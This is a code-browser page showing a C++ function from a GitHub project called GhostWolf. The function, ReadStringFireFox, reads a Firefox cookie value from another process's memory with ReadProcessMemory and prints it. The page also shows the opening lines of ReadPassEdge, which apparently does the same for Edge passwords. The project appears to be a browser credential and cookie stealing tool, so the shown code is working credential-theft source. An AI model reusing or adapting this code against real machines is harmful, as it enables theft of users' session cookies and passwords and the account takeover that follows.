MCPcopy Create free account
hub / github.com/SickleSec/GhostWolf / ReadStringFireFox

Function ReadStringFireFox

Ghostwolf/Application.cpp:165–175  ·  view source on GitHub ↗

Source from the content-addressed store, hash-verified

163}
164
165void ReadStringFireFox(HANDLE hProcess, NsCString string) {
166 if (string.address != 0) {
167 unsigned char* buf = (unsigned char*)malloc(string.len + 1);
168 if (buf == 0 || !ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(string.address), buf, string.len + 1, nullptr)) {
169 PRINT("Failed to read cookie value");
170 free(buf);
171 return;
172 }
173 PRINT("%s\n", buf);
174 }
175}
176void ReadPassEdge(HANDLE hProcess, int64_t address, char len) {
177 unsigned char* buf = (unsigned char*)malloc(len + 1);
178 if (buf == 0 || !ReadProcessMemory(hProcess, reinterpret_cast<LPCVOID>(address), buf, len + 1, nullptr)) {

Callers 1

PrintValuesFireFoxFunction · 0.85

Calls

no outgoing calls

Tested by

no test coverage detected